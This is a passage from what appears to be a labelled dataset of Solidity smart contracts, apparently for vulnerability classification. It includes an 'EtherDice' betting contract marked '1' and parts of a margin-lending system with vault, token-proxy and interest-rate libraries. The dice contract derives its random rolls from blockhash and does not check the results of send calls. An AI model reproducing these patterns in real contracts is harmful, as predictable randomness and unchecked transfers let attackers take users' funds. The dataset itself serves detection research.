uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 0 | 246 |
pragma solidity ^0.4.25;
contract EtherDice {
address public constant OWNER = 0x8026F25c6f898b4afE03d05F87e6c2AFeaaC3a3D;
address public constant MANAGER = 0xD25BD6c44D6cF3C0358AB30ed5E89F2090409a79;
uint constant public FEE_PERCENT = 2;
uint public minBet;
uint public maxBet;
uint public currentIndex;
uint public lockBalance;
uint public betsOfBlock;
uint entropy;
struct Bet {
address player;
uint deposit;
uint block;
}
Bet[] public bets;
event PlaceBet(uint num, address player, uint bet, uint payout, uint roll, uint time);
modifier onlyOwner {
require(OWNER == msg.sender || MANAGER == msg.sender);
_;
}
function() public payable {
if (msg.value > 0) {
createBet(msg.sender, msg.value);
}
placeBets();
}
function createBet(address _player, uint _deposit) internal {
require(_deposit >= minBet && _deposit <= maxBet);
uint lastBlock = bets.length > 0 ? bets[bets.length-1].block : 0;
require(block.number != lastBlock || betsOfBlock < 50);
uint fee = _deposit * FEE_PERCENT / 100;
uint betAmount = _deposit - fee;
require(betAmount * 2 + fee <= address(this).balance - lockBalance);
sendOwner(fee);
betsOfBlock = block.number != lastBlock ? 1 : betsOfBlock + 1;
lockBalance += betAmount * 2;
bets.push(Bet(_player, _deposit, block.number));
}
function placeBets() internal {
for (uint i = currentIndex; i < bets.length; i++) {
Bet memory bet = bets[i];
if (bet.block < block.number) {
uint betAmount = bet.deposit - bet.deposit * FEE_PERCENT / 100;
lockBalance -= betAmount * 2;
if (block.number - bet.block <= 256) {
entropy = uint(keccak256(abi.encodePacked(blockhash(bet.block), entropy)));
uint roll = entropy % 100 + 1;
uint payout = roll < 50 ? betAmount * 2 : 0;
send(bet.player, payout);
emit PlaceBet(i + 1, bet.player, bet.deposit, payout, roll, now);
}
} else {
break;
}
}
currentIndex = i;
}
function send(address _receiver, uint _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
_receiver.send(_amount);
}
}
function sendOwner(uint _amount) internal {
send(OWNER, _amount * 7 / 10);
send(MANAGER, _amount * 3 / 10);
}
function withdraw(uint _amount) public onlyOwner {
require(_amount <= address(this).balance - lockBalance);
sendOwner(_amount);
}
function configure(uint _minBet, uint _maxBet) onlyOwner public {
require(_minBet >= 0.001 ether && _minBet <= _maxBet);
minBet = _minBet;
maxBet = _maxBet;
}
function deposit() public payable {}
function totalBets() public view returns(uint) {
return bets.length;
}
} | 1 | 2,191 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
